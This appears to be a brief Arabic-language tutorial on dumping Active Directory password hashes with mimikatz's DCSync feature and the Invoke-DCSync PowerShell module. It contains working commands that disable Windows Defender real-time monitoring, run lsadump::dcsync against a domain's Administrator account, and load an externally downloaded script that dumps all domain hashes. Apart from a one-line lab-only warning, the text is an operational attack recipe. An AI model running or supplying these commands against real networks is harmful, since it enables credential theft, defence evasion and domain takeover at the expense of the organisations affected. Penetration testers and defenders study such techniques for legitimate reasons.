Invoke-DCSync

Invoke-DCSync المرجع: https://adsecurity.org/?p=1729 المرجع: https://silentbreaksecurity.com/invoke-dcsync-because-we-all-wanted-it/ الهدف: استرجاع تجزئات كلمات المرور من جميع حسابات المستخدمين على وحدة تحكم بالمجال باستخدام وظيفة DCSync من mimikatz

تحذير：افعل هذا فقط في بيئة مختبرية.

طوّر mimikatz أداة تسمى DCSync، وهذا يسمح لـ mimikatz بانتحال شخصية وحدة تحكم بالمجال ومحاولة استرجاع جميع تجزئات كلمات المرور من وحدة تحكم أخرى بالمجال.

قد تحتاج إلى تعطيل Windows Defender

افتح PowerShell كمسؤول واكتب

$ Set-MpPreference -DisableRealtimeMonitoring $true

ابدأ mimikatz

$ lsadump::dcsync /domain:test.local /user:Administrator

الآن لديك تجزئة كلمة المرور لذلك المستخدم.

يتطلب هذا أن تمتلك صلاحيات المسؤول، وتحديدًا سمة الاسم الشائع Get-Replication-Changes-All

يمكنك استخدام وحدة Invoke-DCSync لاستخراج جميع التجزئات.

حمّل من: https://gist.github.com/monoxgas/9d238accd969550136db

$ Import-Module ./Invoke-DCSync.ps1
$ Invoke-DCSync -PWDumpFormat